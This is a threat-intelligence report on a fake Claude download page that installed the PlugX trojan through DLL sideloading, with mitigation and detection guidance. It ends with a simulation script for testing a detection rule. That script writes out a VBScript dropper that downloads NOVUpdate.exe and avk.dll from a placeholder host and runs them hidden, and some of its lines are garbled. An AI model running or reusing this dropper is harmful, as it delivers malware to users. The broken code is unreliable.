Fake Claude site installs malware that gives attackers access to your computer

Summary

Attackers set up a fake Claude download page that delivered a trojanized ZIP archive to unsuspecting users. Once opened, the archive installed a seemingly legitimate Claude desktop client while covertly deploying the PlugX remote access trojan through DLL sideloading with a signed G DATA updater. The malicious payload was placed in the user’s Startup folder to maintain persistence and then initiated outbound HTTPS communication with a command-and-control server. The campaign shows how threat actors are increasingly exploiting interest in popular AI tools as a social engineering lure for initial compromise.

Investigation

During analysis, researchers unpacked the ZIP archive, identified the MSI installation path, and followed execution to a VBScript dropper that wrote NOVUpdate.exe, a malicious avk.dll, and an encrypted data file into the Startup folder. Sandbox execution confirmed that the sideloaded binary launched successfully, altered a TCP/IP-related registry key, and initiated outbound connections over port 443 to an Alibaba Cloud-hosted IP address. These findings confirmed the delivery of PlugX through a staged infection chain disguised as legitimate AI software.

Mitigation

Users should download Claude software only from verified official sources and validate the authenticity of installer packages before execution. Defenders should inspect Startup folders for unexpected binaries or DLLs, especially files that mimic legitimate update components. Firewall and endpoint telemetry should also be reviewed for suspicious outbound HTTPS traffic tied to newly installed applications. Removing the malicious files, reversing any unauthorized registry changes, and running a trusted anti-malware scan are key steps to contain the threat.

Response

Security teams should detect and alert on the presence of NOVUpdate.exe, avk.dll, or NOVUpdate.exe.dat within the Startup directory. Additional detections should focus on signed G DATA updater binaries loading untrusted DLLs and establishing unexpected outbound TLS sessions to the identified infrastructure. Affected hosts should undergo full remediation and forensic review to confirm that no other PlugX components, persistence mechanisms, or follow-on payloads remain active.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:
  An attacker crafts a malicious VBS script that downloads the payload NOVUpdate.exe from a command‑and‑control (C2) server, writes it to %TEMP%, and then launches it via wscript.exe. The same script also loads avk.dll from the same location to achieve DLL sideloading. The attacker relies on the built‑in Windows Script Host (WSH) to avoid raising suspicion from traditional AV heuristics.

  1. Write the malicious VBS file (malicious.vbs) to %TEMP%.
  2. Invoke wscript.exe with the path to the VBS file.
  3. The VBS script performs an HTTP GET to fetch NOVUpdate.exe and avk.dll, writes them to disk, and executes NOVUpdate.exe.

• Regression Test Script:

  
  # --------------------------------------------------------------------
  # Malicious dropper simulation – triggers the Sigma rule
  # --------------------------------------------------------------------
  $tempDir = "$env:TEMPDropperDemo"
  New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
  
  # 1. Create malicious VBS that downloads two files and runs NOVUpdate.exe
  $vbsPath = "$tempDirmalicious.vbs"
  $vbsContent = @"
  Set objXML = CreateObject("Microsoft.XMLHTTP")
  objXML.open "GET", "http://example.com/NOVUpdate.exe", False
  objXML.send
  If objXML.Status = 200 Then
  Set objStream = CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.Write objXML.ResponseBody
  objStream.SaveToFile "$tempDirNOVUpdate.exe", 2
  objStream.Close
  End If

‘ Download avk.dll (used for DLL sideloading) objXML.open “GET”, “http://example.com/avk.dll“, False objXML.send If objXML.Status = 200 Then Set objStream = CreateObject(“ADODB.Stream”) objStream.Type = 1 objStream.Open objStream.Write objXML.ResponseBody objStream.SaveToFile “$tempDiravk.dll”, 2 objStream.Close End If

‘ Execute the dropped EXE CreateObject(“WScript.Shell”).Run “””$tempDirNOVUpdate.exe”””, 0, False “@ Set-Content -Path $vbsPath -Value $vbsContent -Encoding ASCII

# 2. Run the script via wscript.exe (this is the telemetry we are testing)
$wscript = "$env:SystemRootSystem32wscript.exe"
Start-Process -FilePath $wscript -ArgumentList "`"$vbsPath`"" -WindowStyle Hidden

# OPTIONAL: pause to allow detection to fire
Start-Sleep -Seconds 10
# --------------------------------------------------------------------
```

• Cleanup Commands:

  # Remove all artefacts created by the simulation
  $tempDir = "$env:TEMPDropperDemo"
  if (Test-Path $tempDir) {
      Remove-Item -Path $tempDir -Recurse -Force
  }
  
  # Ensure any lingering NOVUpdate.exe processes are terminated
  Get-Process -Name "NOVUpdate" -ErrorAction SilentlyContinue | Stop-Process -Force